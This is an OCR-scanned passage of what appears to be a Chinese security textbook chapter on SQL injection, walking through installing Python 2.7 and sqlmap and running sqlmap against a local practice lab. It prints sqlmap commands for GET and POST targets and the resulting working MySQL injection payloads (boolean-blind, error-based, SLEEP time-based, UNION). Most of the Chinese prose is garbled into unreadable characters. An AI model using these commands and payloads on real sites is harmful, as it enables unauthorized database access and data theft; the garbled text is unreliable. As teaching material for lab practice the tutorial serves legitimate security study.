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1.1 SQLIEASTHAH

SQL (Structured Query Language) & — Mk 4nfein s, HWEKIES WA
BHIES, ATHFDEFTELHEEDAERRE. SREEMEHECRBBIEER
%o SQL EA (SQL Injection), FIFM ¥, SQL iFAAE, FAGEEMIGH, FH
N RFEF AT B R .

APNBRIENTEEAWR: —& SQLmap, % LHEERE T4 1Ti{EH python
EBEREMN—FBRKMIFETE; —& Havij B3tk SQL AT R, ZTHREEL
Windows ¥ & (1] exe & P UK, B0 LA Bs AN 2 R ANF ] Web B P
) SQL yE A& -

1.2 SQLmap ¥ A T_HA 4

1.2.1 SQLmap TE@”T

SQLmap A& — K F python iIE S5 HME MR KM AFEBEN R TR, EEERKMN
HEARMIEN 5, HFIF SQL N IRIFER S B (1 R 5525 . B HA A MEN S
5] 80 2 Fhe e B E A8, 8 B P s SURELS 17 iR 2 S R 49+ HadE s 4
WEBEPATH AW L. K 1-1 & SQLmap HEMINAE L FHIIK.

#F1-1 SQLmap ¥ 4ATh e #H55%
RO oM o B
S P R 1 M e e MySQL. Oracle. PostgreSQL. Microsoft SQL Server. Microsoft Access. IBM DB2.

SQLite. Firebird. Sybase. SAP MaxDB., HSQLDB. Informix

boolean-based blind (ffi/REVE), time-based blind (JET I [AIfIE ), error-based
SQL VEANZFFHIKTY (IREETEN), UNION query (LA EE#I7E N ), stacked queries( HEZE #]7F N ) out-of-band

CHESMEND
IREME R users. password hashes. privileges. roles. databases. tables. columns
ﬁﬁﬁﬁﬁﬁﬁﬁé@;ﬁﬁi#ﬁﬁ MySQL. PostgreSQL. Microsoft SQL Server

1.2.2 python IRKiE%%E

1.2.2.1 %3 python 3%
(1) T#FEFF, python FJH|H M F# A T windows FIMRA, E L python AN
2.7 X

(2) AL python 8 75 22 3% (F] it A< A python-2.1.14.amd64.msi windows &, WIF

121
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Hith
# python-2.7.14.amd64.msi

s e neeen-0 | S SQUENTEBHE

3
&
e
@
<

Windows installer BEFH

(3) MW T:

THIEFE msi 234, WHBfTTntekdE.
WA EFTA R P 2%, )5 Rl Next #8317 T —F.

Select whether to install Python 2.7.14

{64-bit) for all users of this computer.

@ Install for all users

» Install just for me (not availeble on Windows Vista)

Next> | [ cancel | 8

P2 A I A Next #2847 F—22.

python

I windows

Select Destination Directory

Please select 3 directory
(64-bit) files,

{1 python27
_1Lb
_1Scripts
(“Aselenium

lc:APython27y

{3/



LD |

14/

BRRLBEMNATROPSS

5)3% %% python AT ZEH i F—H.

Customize Python 2.7.14 {64-bit)

Select the way you want features to be instaled.
Ciick on the icons n the tree below o change the
way features wil be instaled.

Ragister Extensions
Tl T
Documentation

Prepend C\F
varable. Thig
COMMBNG O % Entire feature will be unavailable

python

This feature requires OKB on vour hard drive,

windows

i Advanced |

: Disk Usage

Install Python 2.7.14 (64-bit)

Please wat while the Installer instals Python 2.7.14 (64-bit}. This may
take several minutes.

Status:

& 2% python P85 58 i .

Complete the Python 2.7.14 (64-bit)
Installer

Special Windows thanks to:
Mark Hammond, without whose years of freely
shared Windows expertise, Python for Windows
would stil be Python for DOS.

for

windows

Click the Finsh button to ext the Installer.
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1.2.2.2 iRk python IRiE

Fiif win BFRRBIETREFEE AR ER wintR 8, fiIA cmd 84, fTH&4
173, FFHI python fi L EH R T KT .

KREBITET

o M
© Bluetooth TrifEE
i Windows HiFEIES
o=

o) s

R 8EIE

< B

@5 ERTFSEREAN

1 2=

B S9ETE §
§ Al |

) BFENER =

® BEgao |

% aESEmER '
i3 B e

. Tablet PC

. Windows PowerShell -

\

|
N

4l

I\ cmd.

Windows SRR EFEAIGER . BRITHERNES.
itk TR Internet .

5



| RERLBENRTEOOE

python 2% $ Tl
v

i Windows >python o
Pythﬂn 2.7.14 (uv2.7.14:84471935ed, Sep 16 2017, 28:19:38> [MSC v.1588 32 bit <Infj |
tel>] on win32

Type “help', YcopyrightY, “credits" or Ylicense" for more information.

200

1.2.2.3 %% SQLmap

(1) £ SQLmap B M FEEHT, LHnEn AN SQLmap-1.0.6.27.

(2) THEHCOZE, RTBEMECHNT, TAZRMTERR, WRAERM
REARE, XHBUERAMERIRT; A I python FREAR R, W/ 248 T H XK

N— S

£ python27 H3x Fig1T.

16/
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i lib

¥ ¥ ¥ ¥ Y Y V¥V Y VPV TEE

& xml

M sqlmap.conf
W README.md
® sqlmap.py
® sqlmapapi.py
B LICENSE

1.2.2.4 ik SQLmap

i win EAR R BE TR ECE fE A R wintR 8, FIA cmd 84, T4
1145, V1¥#:%) SQLmap T HFT{E H3%, #4T python sqlmap.py-version, SQLmap &%
B

KRBT

PO L3 “ 1
€ Bluetooth TEHEE
L4 Windows BEEEH

&
@i =]

(] s

TR
X BETE
B SRR
o EETREREAY
i ==
B 20T
4 Al
o BEENER
® Fad
O s=x
v ARSEEE

R

5 Tab.iet PC
. Windows PowerShell -

N

|
N

I cmd.

)
|
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N\SgiMap

4 ¥ 3:51 <DIR>
pa1?2/11 .15 3:51 {DIR> %
81686785 .gitattributes
816 /86 /85 8 .gitignore
@16 /66 /85 353 Jtravis.yml
2@17/66 88 doc
pa1?/86-27 echnigue
261 7/86-88 extra
812/18/17 gjdjc.txt
gzg.txt
<BIR> lih
{DIR> plugins
<DIR> procs
3.971 README.md
{DIR> shell
19.931 sqlmap.conf
2.939 sglmap.py
92.298 sqglmap.pyc
2 1,977 sqlmapapi.py
2@17/86-88 tamper
G1?2/086.,88 2 thirdparty
txt
udf
PB17/86/88 wvaf
B17/86,88 xml
L 1,273,428
15,408,169,472

/81



F1E SQLEANTEHHR

vtoolsNgF AT SqlMap>python sglmap.py ——version

1.8.6.27¢8dev

Press Enter to continue... _

1.2.3 SQLmap W& LA

1.2.31 FEANR GET &

HFREEAN A URL #E4T GET #31l, SQLmap Ay &4 F -

python sqlmap.py—u “fFLEFE AN & URL” (BRIANTEAN level 1), LAF RMEKSLH)
python sglmap.py -u "http://localhost/sqgli/Less-

1/2id=1"

EAEE I FE PR

AN B 2Ll LV IGOWISYIETTI DL I EAT TS

http://sqlnap.ory
[t]1 legal disclaimer: Usage of sglmap for tacking targets without prior nutual
consent g . It is the end use e bility to obey all applicable
al, state and federal laus ape ssume no liability and are not respon
le for any mis or damage aused by this program

[%] starting at 12:

it looks like the back-end DBMS is *MySQL’. Do you want to skip test payloads sp

ecific for other DBMSes? [¥/nl ¥y
for the remaining tests, do you want to include all tests for 'MySQL’ extending

provided level <(1> and »isk <(1> values? [Y¥/nl v

19,
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BEERZEBEMK

EAGREE W T E R

ET parameter ’id’ is vulnerable. Do you want to keep testing the others (if any
D? [ysN1l y
glmap identified the following injection point{s) with a total of 47 HTIP(s) re
quests:
arameter: id (GEI)

Type: hoolean-bhased blind

Title: AND hoolean-based blind - UHERE or HAUING clause

Payload: id=1’ AND 8758=8758 AND 'Etf0’="Etf0

Type: error—hased
Title: MySQL >= 5.8 AND error-hased — WHERE, HAUING, ORDER BY or GROUP BY cl
use (FLOOR)
Payload: id=1’ AND (SELECT 8988 FROM(SELECTI COUNI(%),CONCAT(Bx716h6a7871, (SE
[LECT (ELT<(8988=8988,1)>),08x7178717871 .FLOOR(RAND(B)>*2)>)>x FROM INFORMATION_SCHEMA
.CHARACTER_SETS GROUP BY x2a)> AND ’RnZD’=’RnZD

Type: AND/OR time-based hlind
Title: MySQL >= 5.8.12 AND time-hased hlind
Payload: id=1' AND SLEEP(5)> AND ’gKhd’=’gKhd

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: id=-8558’ UNION ALL SELECT NULL,NULL,CONCAT(Bx716h6a7871,Bx4d5%6ebe
595a626e48654c4f 4349596 78584566566672557764755965656¢516a4f 4h78557a4e59,8x71787
[17871>— hQjL

server operating system: Uindous
application technology: PHP 5.4.45, fipache 2.4.23
hack-end DBMS: MySQL >= 5.8

L E \SqMap>

1.2.3.2 JEAR POST il

B FREEA A URL #£47 POST #49ll, SQLmap fir & i F
python sqlmap.py—u “fFfE{EAN &L URL”; LA T AL
python sglmap.py -u http://localhost/sqli/Less-11/

--data="uname=user&passwd=user&submit=Submit"

HEANBE T B .



